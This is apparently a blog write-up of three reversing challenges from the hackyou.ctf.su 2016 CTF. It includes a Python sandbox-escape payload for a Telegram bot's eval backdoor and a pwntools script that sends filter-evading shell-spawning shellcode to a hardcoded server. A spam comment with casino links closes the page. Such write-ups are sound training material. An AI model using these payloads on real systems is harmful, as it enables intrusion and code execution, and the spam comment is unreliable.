hackyou.ctf.su 2016

This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.

Reverse 100:

#include <stdio.h>
#include <string.h>

int main() {
	char buf[64];
	gets(buf);
	int l = strlen(buf);
	if (l * l != 144)
		return 1;
	unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16);
	unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16);
	unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16);
	unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16);
	if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059))))
		return 2;
	if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931))))
		return 3;
	if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651))))
		return 4;
	if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510))))
		return 5;
	printf("Congratulations %s is flag\n",buf);
	return 0;
}

First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.

Reverse 200:
This is a .pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc.
After decompil, you should get something like this

# Source Generated with Decompyle++
# File: rev200_bot_7b541a1.pyc (Python 2.7)

import config
import traceback
import re
from base64 import *
from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHide
sec_state = { }

def process_message(bot, u):
Warning: Stack history is not empty!
    if u.message.sender and u.message.text and u.message.chat:
        chat_id = u.message.chat.id
        user = u.message.sender.username
        reply_hide = ReplyKeyboardHide.create()
        print 'user:%s mes:%s' % (user, u.message.text)
        if user not in sec_state:
            sec_state[user] = {
                'mode': 15,
                'stage': 7 }
        cmd1 = u.message.text.encode('utf-8')
        a = re.findall('(\\/\\w+)\\s*(.*)', cmd1)
        if a:
            cmd = a[0][0]
            data = a[0][1]
            if cmd == '/help':
                bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide)
            if cmd == '/enter':
                keyboard = [
                    [
                        '-7-',
                        '-8-',
                        '-9-'],
                    [
                        '-4-',
                        '-5-',
                        '-6-'],
                    [
                        '-1-',
                        '-2-',
                        '-3-'],
                    [
                        '-0-']]
                reply_markup = ReplyKeyboardMarkup.create(keyboard)
                bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait()
            if sec_state[user]['mode'] == 0 and cmd == '/7779317':
                ddd = b64decode(data)
                bot.send_message(chat_id, eval(ddd))
            
        a = re.findall('-(\\d+)-', cmd1)
        if a:
            num = a[0]
            if int(num) == sec_state[user]['stage']:
                sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
                sec_state[user]['mode'] = sec_state[user]['mode'] - 1
                if sec_state[user]['mode'] < 0:
                    sec_state[user]['mode'] = 0
                if sec_state[user]['mode'] == 0:
                    bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait()
                
            else:
                print 'NO', num, sec_state[user]['stage']
                bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait()
                sec_state[user]['mode'] = 15
        

bot = TelegramBot(config.token)
bot.update_bot_info().wait()
print bot.username
last_update_id = 0
while True:
    updates = bot.get_updates(offset = last_update_id).wait()
    
    try:
        for update in updates:
            if int(update.update_id) > int(last_update_id):
                last_update_id = update.update_id
                process_message(bot, update)
                continue
    continue
    except Exception:
        ex = None
        print traceback.format_exc()
        continue
    

So this is a kind of chat-bot server based on Telegram.
There is eval function inside,  bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9).
First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;

#coding: utf-8
sec_state = { }
user = "A"
sec_state[user] = {
'mode': 15,
'stage': 7 } # bruteforce number
sec_state[user]['mode'] = 15
r = []
while 1:
	num = sec_state[user]['stage']
	r.append(num)
	print "-%d-" % num
	sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10
	sec_state[user]['mode'] = sec_state[user]['mode'] - 1
	if sec_state[user]['mode'] < 0:
	    sec_state[user]['mode'] = 0
	if sec_state[user]['mode'] == 0:
		break

print sec_state[user]['mode']

Next, this is a pyjail, so I can't execute normal python command...
So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`

Reverse 300:
Let's get some fun.

let reverse this (or not?), look at handler (the main function)

ssize_t __cdecl handler(int fd)
{
  ssize_t result; // [email protected]
  unsigned int buf; // [sp+20h] [bp-18h]@1
  int v3; // [sp+24h] [bp-14h]@1
  char *v4; // [sp+28h] [bp-10h]@4
  int v5; // [sp+2Ch] [bp-Ch]@4

  buf = 0;
  setuid(0x3E8u);
  seteuid(0x3E8u);
  setgid(0x3E8u);
  setegid(0x3E8u);
  result = recv(fd, &buf, 4u, 0);
  v3 = result;
  if ( result == 4 )
  {
    result = buf;
    if ( buf <= 0xC8 )
    {
      v4 = (char *)mmap(0, buf, 7, 33, -1, 0);
      v3 = recv(fd, v4, buf, 0);
      result = crc32(0, v4, buf);
      v5 = result;
      if ( result == 0xCAFEBABE )
      {
        result = filter(v4, buf) ^ 1;
        if ( !(_BYTE)result )
          result = ((int (*)(void))v4)();
      }
    }
  }
  return result;
}

So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:

1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE
2. Make a great shellcode and Bypass filter.
By search google for everything, the answer for problem 1 is force-crc32.
Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once.
Basicaly, I import pwns and let pwntools do the rest;

from pwn import *
import socket, struct, telnetlib
def getCRC(data):
	import subprocess
	with open('/tmp/12', 'wb') as f:
		f.write(data + "123456")
	subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1) , 'CAFEBABE'])
	with open('/tmp/12', 'rb') as f:
		data = f.read()
	return data
def crc32(data):# recheck
	import zlib
	return (zlib.crc32(data)) & 0xffffffff


d = ""
d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))
d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))
# i need dup2 because the program use itself as server
d += asm(pwnlib.shellcraft.i386.linux.sh())

fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')

print len(fsc)
fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.
print hex(crc32(fsc))

#yes, i love my custom socket lib 🙁
s = socket.create_connection(("78.46.101.237", 3177))

s.send(p32(len(fsc)))
s.send(fsc)
s.send("\n")

s.send("cat flag*\n") 
print s.recv(1024)

To be continued....

2 thoughts on “hackyou.ctf.su 2016

  1. in [Reverse 100] problem, other simple way is to use Klee to solve

    #include
    #include
    #include

    #define ITERS 12
    int main() {
    char buf[ITERS];
    klee_make_symbolic(buf, ITERS, "012345");
    unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16);
    unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16);
    unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16);
    unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16);
    if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059))))
    return 2;
    if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931))))
    return 3;
    if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651))))
    return 4;
    if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510))))
    return 5;
    // printf("Congratulations %s is flag\n",buf);
    klee_assert(0);
    return 0;
    }

  2. Hi Donalddies,

    I Finally Won Big on The Slot Machines !!! 100% Deposit Match up to $300 !!!
    The set comes with four cars and supports up to provided cars accurately simulate high-end vehicles from several manufacturers. https://rebrand.ly/w18yq slots to play for free slots for free games slots casino jackpot mania slots of vegas free spins slot machine free games for fun view publisher site All you have to do is to register. news However, one thing is very obvious.
    A few times a week after school, my mother’s parents, Little Grandma and Little Grandpa, would take my younger brother Joe and I to the local slot car track store. Source Slot Nigeria has many outlets in Lagos, Kaduna, Abuja, Rivers and other states. detailed description New Best keno game with many bonus games and free vCash and coins. https://bit.ly/3gxS8CC This model is causing quite a stir in our hobby and I finally got the chance to test them for myself. Resources SICH31E HRS2 Complete Chassis Sidewinder offset.
    Check casino cashier to redeem this bonus. great post to read Play slots and other casino games on desktop or mobile at Our online casino offers blackjack, slots, table games, specialty games and more! 1/12/В  Casino US. https://bit.ly/35JXiaS slot online free spin biggest slot jackpot on youtube alpha slot racing products slot machines for free slots games with bonus https://gamesforrealmoney.blogspot.com

Leave a Reply

Your email address will not be published. Required fields are marked *